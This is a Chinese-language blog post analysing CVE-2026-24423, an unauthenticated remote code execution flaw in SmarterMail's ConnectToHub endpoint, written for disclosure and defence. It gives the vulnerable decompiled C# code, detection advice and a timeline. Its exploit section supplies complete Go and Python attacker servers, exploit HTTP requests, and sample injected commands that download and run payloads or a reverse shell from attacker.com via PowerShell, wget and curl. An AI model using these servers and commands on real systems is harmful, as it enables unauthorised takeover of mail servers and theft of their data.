Post

CVE-2026-24423 SmarterMail ConnectToHub 未经身份验证的远程代码执行漏洞

CVE-2026-24423 SmarterMail ConnectToHub 未经身份验证的远程代码执行漏洞

执行摘要

SmarterTools SmarterMail 在其 ConnectToHub API 功能中发现了一个严重的远程代码执行漏洞。该漏洞被分配为 CVE-2026-24423,CVSS v4 评分为 9.3(严重)

攻击者可以通过构造恶意的 HTTP 服务器,配合 SmarterMail 的 ConnectToHub 功能,在未经身份验证的情况下实现远程代码执行。该漏洞源于以下关键安全缺陷:

  1. 缺少身份验证:ConnectToHub API 端点允许匿名访问
  2. 服务器端请求伪造 (SSRF):应用接受外部 URL 并主动请求
  3. 命令注入:从外部服务器获取的命令直接在系统级别执行

关键信息

属性
CVE 编号 CVE-2026-24423
CVSS v4 评分 9.3 (严重)
CVSS 向量 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-306 (关键功能缺少身份验证)
披露日期 2026年1月23日
修复版本 SmarterMail Build 9511 (100.0.9511)

漏洞概述

漏洞描述

SmarterMail 的 ConnectToHub 功能用于将邮件服务器节点连接到管理中心(Hub)。该功能通过一个 API 端点 /api/v1/settings/sysadmin/connect-to-hub 实现,用于配置服务器的挂载路径。

漏洞的核心问题在于:

  1. 该 API 端点不需要身份验证(标记为 AllowAnonymous
  2. 接受 hubAddress 参数,向攻击者控制的服务器发起请求
  3. 解析服务器返回的 JSON 响应中的 CommandMount 参数
  4. 将该命令直接传递给系统 shell 执行

漏洞影响

  • 未经身份验证的远程代码执行:攻击者无需任何凭据即可利用此漏洞
  • 系统级别权限:在 Windows 上以 SYSTEM 权限执行,在 Linux 上可使用 sudo
  • 完全服务器控制:攻击者可以执行任意命令,包括:
    • 部署恶意软件或勒索软件
    • 窃取敏感邮件数据
    • 创建后门以持久化访问
    • 利用服务器攻击其他组织

受影响版本

产品 受影响版本 修复版本
SmarterTools SmarterMail < 100.0.9511 (Build < 9511) 100.0.9511 (Build 9511)

版本检测方法

未经身份验证的版本检测端点:

1
2
GET /api/v1/licensing/about HTTP/1.1
Host: target-server

响应中包含版本信息,可用于判断是否为易受攻击的版本。


漏洞根本原因分析

1. 缺少身份验证

ConnectToHub API 端点在 MailService.dll 中定义,使用了 AllowAnonymous 属性:

1
2
3
4
5
6
7
8
9
10
[AuthenticatedService(AllowAnonymous = true)]
[HttpPost]
[Route("connect-to-hub")]
public async Task<ActionResult<ConnectToHubResult>> ConnectToHub([FromBody] ConnectToHubInput input)
{
    AdministrativeLog.Log("Connecting to hub", LogLevels.Normal, base.HttpContext);
    ConnectToHubResult connectToHubResult = await SystemSettingsService.ConnectToHub(input);
    connectToHubResult.machineName = HAClusterConfig.Instance.LocalName;
    return base.CreateResponseMessage(connectToHubResult);
}

这是一个关键的安全缺陷,因为连接到 Hub 的操作应该是高度敏感的管理功能。

2. 服务器端请求伪造 (SSRF)

API 接受用户提供的 hubAddress 参数,并向该地址发起 HTTP POST 请求:

1
2
3
4
string text2 = input.hubAddress.TrimEnd('/');
string text3 = text2 + "/web/api/node-management/setup-initial-connection";
Console.WriteLine("Connecting to hub with full URL: " + text3 + " with parameters:\r\n" + text);
HttpResponseMessage httpResponseMessage = await client.PostAsync(new Uri(text3), new StringContent(text, Encoding.UTF8, "application/json"));

3. 不安全的反序列化和命令注入

从外部服务器获取的 JSON 响应被反序列化,其中的 SystemMount 对象包含 CommandMount 参数:

1
2
SystemSettingsService.InitialConnectionResult decodedObject =
    JsonConvert.DeserializeObject<SystemSettingsService.InitialConnectionResult>(text4);

然后,该对象直接传递给挂载配置:

1
2
3
4
5
6
7
8
if (!(await MountConfiguration.Mount(decodedObject.SystemMount, true)).success)
{
    return new ConnectToHubResult
    {
        message = "Failed to mount system mount point",
        success = false
    };
}

攻击流程

详细攻击步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌─────────────┐         ┌──────────────┐         ┌─────────────────┐
│   攻击者     │────────▶│  SmarterMail │────────▶│  攻击者的HTTP    │
│  (Attacker)  │  ① POST │   Server     │  ② POST │    服务器        │
└─────────────┘         └──────────────┘         └─────────────────┘
                                                       │
                       ③ 返回恶意命令                  │
                       ┌──────────────────────────────┘
                       │
                       ▼
                ┌──────────────┐
                │  SmarterMail │
                │   Server     │
                └──────────────┘
                       │
                       │ ④ 执行命令
                       ▼
                ┌──────────────┐
                │   命令执行     │
                │  (cmd/bash)   │
                └──────────────┘

步骤详解

  1. 攻击者发送恶意请求
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
    Host: smartermail-server:9998
    Content-Type: application/json
    
    {
      "hubAddress": "http://attacker-server:8082",
      "oneTimePassword": "test",
      "nodeName": "victim"
    }
    
  2. SmarterMail 向攻击者服务器发起请求
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    POST /web/api/node-management/setup-initial-connection HTTP/1.1
    Host: attacker-server:8082
    Content-Type: application/json
    
    {
      "hubAddress": "http://attacker-server:8082",
      "oneTimePassword": "test",
      "nodeName": "victim"
    }
    
  3. 攻击者服务器返回包含恶意命令的响应
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    {
      "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
      "SharedSecret": "any-value",
      "TargetHubs": {"a": "b"},
      "IsStandby": false,
      "SystemMount": {
        "Enabled": true,
        "ReadOnly": false,
        "MountPath": "/any/path",
        "CommandMount": "malicious_command_here"
      },
      "SystemAdminUsernames": ["admin"]
    }
    
  4. SmarterMail 执行恶意命令

漏洞代码分析

代码流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ConnectToHub() [AllowAnonymous]
      │
      ▼
SystemSettingsService.ConnectToHub(input)
      │
      ├─ 构造请求到 hubAddress
      │
      ├─ 发起 HTTP POST 请求
      │
      ├─ 反序列化 JSON 响应
      │
      └─ MountConfiguration.Mount(decodedObject.SystemMount, true)
            │
            ▼
      MountConfiguration.Mount()
            │
            ├─ 检查挂载状态
            │
            ├─ 调用 RunCommand(mount.CommandMount)
            │
            ▼
      CommandLine.RunCommand(command)
            │
            ├─ 构造 ProcessStartInfo
            │  ├─ FileName: cmd.exe (Windows) 或 /bin/bash (Linux)
            │  └─ Arguments: /c command (Windows) 或 -c "command" (Linux)
            │
            ▼
      Process.Start()
            │
            ▼
      命令执行 ✓

关键代码片段

1. MountConfiguration.Mount()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static async Task<SuccessResult> Mount(MountPointConfig mount, bool isSystemMount = false)
{
    // ... 挂载状态检查 ...

    MountConfiguration.MountInfo[mount.MountPath] = mount;

    // 检查 CommandMount 参数
    if (!string.IsNullOrWhiteSpace(mount.CommandMount) && mount.CommandMount != "null")
    {
        await MountConfiguration.RunCommand(mount.MountPath, mount.CommandMount, mount.UseArgumentsInCommand);
    }

    // ... 返回成功 ...
}

2. MountConfiguration.RunCommand()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private static async Task RunCommand(string path, string command, bool includeArgs)
{
    if (!string.IsNullOrWhiteSpace(command))
    {
        // 如果需要参数,构造完整的命令字符串
        if (includeArgs)
        {
            HANodeConfig currentNodeConfig = HAClusterConfig.Instance.CurrentNodeConfig;
            string text = currentNodeConfig?.GetUserData<HANodeConfig>()
                           ?.Get<string>(HANodeConfig.PreviousRunningNode)
                           ?? currentNodeConfig?.PrimaryServer
                           ?? "";

            string text2 = HAClusterConfig.Instance.LocalName
                           ?? Environment.MachineName;

            string text3 = currentNodeConfig?.PrimaryServer ?? "local";

            if (path.Contains(' '))
            {
                path = "\"" + path + "\"";
            }

            // 构造命令字符串
            command = $"{command} {text2} {text3} {text} {path}";
        }

        // 执行命令
        ValueTuple<string, bool, string> valueTuple =
            await CommandLine.RunCommand(FileManager.ApplicationDataPath, command, false,
                new Action<string>(MountConfiguration.<RunCommand>g__ProcessCommandOutput|23_0));
    }
}

3. CommandLine.RunCommand()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static async Task<ValueTuple<string, bool, string>> RunCommand(
    string currentDir, string command, bool sudo = false, Action<string> processOutputLine = null)
{
    ProcessStartInfo processStartInfo = new ProcessStartInfo
    {
        // 根据操作系统选择 shell
        FileName = (OperatingSystem.IsWindows() ? "cmd.exe" : "/bin/bash"),

        // 构造命令参数
        Arguments = (OperatingSystem.IsWindows()
            ? ("/c " + command)
            : ("-c \"" + (sudo ? "sudo " : "") + command + "\"")),

        RedirectStandardOutput = true,
        RedirectStandardError = true,
        UseShellExecute = false,
        CreateNoWindow = true,
        WorkingDirectory = currentDir
    };

    using (Process process = new Process { StartInfo = processStartInfo })
    {
        process.Start();
        process.BeginOutputReadLine();
        process.BeginErrorReadLine();
        await process.WaitForExitAsync(default(CancellationToken));

        return new ValueTuple<string, bool, string>(
            resultSb.ToString(),
            process.ExitCode == 0,
            ranCmd
        );
    }
}

安全问题总结

  1. 未经验证的输入hubAddress 参数未经验证就用于外部请求
  2. 不安全的反序列化:来自外部服务器的 JSON 被直接反序列化并使用
  3. 命令注入CommandMount 参数直接传递给系统 shell
  4. 缺少身份验证:整个 API 端点可匿名访问
  5. 缺少输入清理:命令参数未经过任何清理或白名单验证

漏洞利用示例

攻击者 HTTP 服务器代码 (Go)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package main

import (
    "fmt"
    "log"
    "net/http"
)

func initHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Println("[-] Victim connected to our malicious server")

    // 返回包含恶意命令的 JSON 响应
    // Windows 示例: 创建文件
    response := `{
        "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
        "SharedSecret": "attacker-controlled",
        "TargetHubs": {"a": "b"},
        "IsStandby": false,
        "SystemMount": {
            "Enabled": true,
            "ReadOnly": false,
            "MountPath": "/tmp/mount",
            "CommandMount": "dir > C:\\\\pwned.txt"
        },
        "SystemAdminUsernames": ["admin"]
    }`

    fmt.Fprint(w, response)
    fmt.Println("[-] Sent malicious command payload")
}

func main() {
    http.HandleFunc("/web/api/node-management/setup-initial-connection", initHandler)
    fmt.Println("[+] Malicious server listening on :8082")
    log.Fatal(http.ListenAndServe(":8082", nil))
}

攻击者 HTTP 服务器代码 (Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/web/api/node-management/setup-initial-connection', methods=['POST'])
def setup_initial_connection():
    print("[-] Victim connected!")

    # 恶意响应
    response = {
        "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
        "SharedSecret": "attacker-controlled",
        "TargetHubs": {"a": "b"},
        "IsStandby": False,
        "SystemMount": {
            "Enabled": True,
            "ReadOnly": False,
            "MountPath": "/tmp/mount",
            "CommandMount": "dir > C:\\\\pwned.txt"  # Windows
            # "CommandMount": "whoami > /tmp/pwned.txt"  # Linux
        },
        "SystemAdminUsernames": ["admin"]
    }

    print("[-] Sent malicious payload")
    return jsonify(response)

if __name__ == '__main__':
    print("[+] Malicious server listening on :8082")
    app.run(host='0.0.0.0', port=8082)

利用请求示例

1
2
3
4
5
6
7
8
9
10
11
POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: vulnerable-smartermail.example.com:9998
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 112

{
    "hubAddress": "http://attacker-server.example.com:8082",
    "oneTimePassword": "any-value",
    "nodeName": "victim-node"
}

恶意命令示例

Windows 平台

1
2
3
"CommandMount": "dir > C:\\\\pwned.txt"
"CommandMount": "whoami > C:\\\\whoami.txt"
"CommandMount": "powershell -Command \"Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile 'C:\\\\payload.exe'; Start-Process 'C:\\\\payload.exe'\""

Linux 平台

1
2
3
"CommandMount": "whoami > /tmp/pwned.txt"
"CommandMount": "wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
"CommandMount": "curl http://attacker.com/reverse_shell.py | python3"

检测方法

1. 主动扫描

检测易受攻击的版本:

1
2
3
4
5
6
7
# 获取版本信息
curl -X GET "http://target-server/api/v1/licensing/about"

# 尝试访问漏洞端点
curl -X POST "http://target-server/api/v1/settings/sysadmin/connect-to-hub" \
  -H "Content-Type: application/json" \
  -d '{"hubAddress":"http://localhost:8082","oneTimePassword":"test","nodeName":"test"}'

2. 日志监控

监控以下指标:

检测项 说明
端点访问 /api/v1/settings/sysadmin/connect-to-hub 的访问日志
出站连接 SmarterMail 服务器向不明 IP 的 HTTP 连接
进程执行 cmd.exe/bin/bash 以异常参数启动
文件变化 系统目录中出现可疑文件

3. 网络流量检测

1
2
3
4
5
6
# 正常流量模式
SmarterMail → 内部 Hub 服务器

# 恶意流量模式
SmarterMail → 外部 IP (攻击者控制的服务器)
              → 返回包含 CommandMount 的 JSON

4. 已修复版本响应

在已修复的版本 (Build 9511) 中:

  • 端点将返回 HTTP 400 状态码
  • 返回错误消息而不是执行命令

时间线

日期 事件
2019-04-17 早期类似漏洞 (CVE-2019-7214) 被披露,影响 Build < 6985
2025 年底 多位独立安全研究者发现 ConnectToHub 漏洞
2026-01-15 SmarterTools 发布修复版本 Build 9511
2026-01-23 VulnCheck 发布公开漏洞通告
2026-01-26 CISA 将该漏洞纳入每周漏洞摘要
2026-01-28 多个安全研究团队发布详细技术分析

附录

A. HTTP 请求/响应示例

恶意请求

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: 192.168.1.100:9998
User-Agent: python-requests/2.31.0
Accept: */*
Content-Type: application/json
Content-Length: 121

{
    "hubAddress": "http://10.0.1.10:8082",
    "oneTimePassword": "test",
    "nodeName": "victim"
}

恶意服务器响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 287

{
    "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
    "SharedSecret": "pwned",
    "TargetHubs": {
        "primary": "hub.internal"
    },
    "IsStandby": false,
    "SystemMount": {
        "Enabled": true,
        "ReadOnly": false,
        "MountPath": "C:\\SmarterMail\\Mount",
        "CommandMount": "dir > C:\\SmarterMail\\pwned.txt"
    },
    "SystemAdminUsernames": ["admin"]
}

B. 相关 CVE

CVE 描述 状态
CVE-2019-7214 .NET 反序列化 RCE (Build < 6985) 已修复
CVE-2026-24423 ConnectToHub 未认证 RCE (Build < 9511) 已修复

结论

CVE-2026-24423 是一个严重的远程代码执行漏洞,影响 SmarterMail Build 9511 之前的所有版本。该漏洞允许未经身份验证的攻击者通过构造恶意的 HTTP 服务器,在目标系统上执行任意命令。

关键要点

  1. 立即升级:所有用户应立即升级到 Build 9511 或更高版本
  2. 检测入侵:检查日志以确定是否已被利用
  3. 实施缓解措施:如果无法立即升级,实施网络层防护
  4. 长期安全:审查整体安全配置,加强监控

免责声明

本文档仅用于安全研究和防御目的。未经授权利用此漏洞是非法的。请负责任地披露漏洞,并遵守所有适用的法律法规。


参考文献

  1. VulnCheck Advisory - CVE-2026-24423
  2. VulnCheck Blog - Street Smarts: SmarterMail ConnectToHub
  3. Rapid7 Exploit Database - SmarterMail RCE
  4. CISA Vulnerability Summary - Week of January 19, 2026
  5. DataCorps - SmarterMail Flaw Enables Dangerous RCE
  6. CODE WHITE Vulnerability List
  7. SmarterMail Release Notes
This post is licensed under CC BY 4.0 by the author.